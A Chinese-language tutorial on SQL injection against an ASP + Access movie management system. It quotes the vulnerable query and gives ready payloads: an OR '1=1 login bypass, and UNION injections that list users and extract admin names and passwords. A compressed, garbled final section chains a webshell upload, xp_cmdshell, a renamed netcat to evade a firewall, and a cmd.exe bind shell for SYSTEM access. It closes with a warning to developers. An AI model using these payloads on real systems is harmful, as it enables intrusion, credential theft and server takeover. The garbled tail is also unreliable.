某開源電影管理系統(ASP + Access)存在「找回密碼」功能,介面要求輸入:用戶名、密碼提示問題、密碼提示答案。原始碼未做任何過濾直接拼接 SQL:
sql = "SELECT PassWord FROM Users WHERE UserID='" & Request("myuserid") &
"' AND City='" & Request("ask") & "' AND Adress='" & Request("answer") & "'"
SQL 結構:
SELECT PassWord FROM Users WHERE UserID='[輸入1]' AND City='[輸入2]' AND Adress='[輸入3]'
Access 不支援批次查詢、不支援註釋(--),但支援 UNION 聯合查詢,成為突破口。
假設已知用戶 abc 存在:
| 欄位 | 輸入值 | 說明 |
|---|---|---|
| 用戶名 | abc' OR '1=1 | 導致 WHERE 條件恆真 |
| 提示問題 | a | 任意字元 |
| 提示答案 | a | 任意字元 |
實際執行:
SELECT PassWord FROM Users WHERE UserID='abc' OR '1=1' AND City='a' AND Adress='a'
OR '1=1 使條件恆真,直接返回該用戶密碼(明文儲存)。
利用 UNION 注入第二個查詢:
| 欄位 | 輸入值 |
|---|---|
| 用戶名 | a |
| 提示問題 | a |
| 提示答案 | a' UNION SELECT UserID FROM Users WHERE OkLook>=3 OR '0 |
生成 SQL:
SELECT PassWord FROM Users WHERE UserID='a' AND City='a' AND Adress='a' UNION SELECT UserID FROM Users WHERE OkLook>=3 OR '0'
第一查詢無結果,第二查詢返回符合條件的用戶名(如 VIP 用戶)。再結合路徑一逐個嘗試獲取密碼。
若知曉管理員表結構(如 OkWiAntGo 表含 Name, Pwd 欄位):
-- 獲取管理員帳號
Adress: a' UNION SELECT Name FROM OkWiAntGo WHERE ID>=1 OR '0
-- 獲取管理員密碼
Adress: a' UNION SELECT Pwd FROM OkWiAntGo WHERE ID>=1 OR '0
取得帳密後,直接訪問後台登入頁:
https://site/findaccount.asp?name=admin&pwd=stolen_password
shell.asp Webshellsa 密碼SQLExec 連接資料庫 → xp_cmdshell 執行命令nc.exe(防火牆攔截 .exe → 改名 nc.jpg 繞過)nc.jpg -l -p 99 -e cmd.exe → 本地 nc -vv target 99 獲取 SYSTEM 權限xp_cmdshell單一注入點配合 UNION 查詢,可逐層剝離:繞過驗證 → 枚舉用戶 → 竊取管理員 → 後台上傳 → 伺服器淪陷。開發者須認清:任何未經參數化的動態 SQL 都是潛在毀滅性漏洞。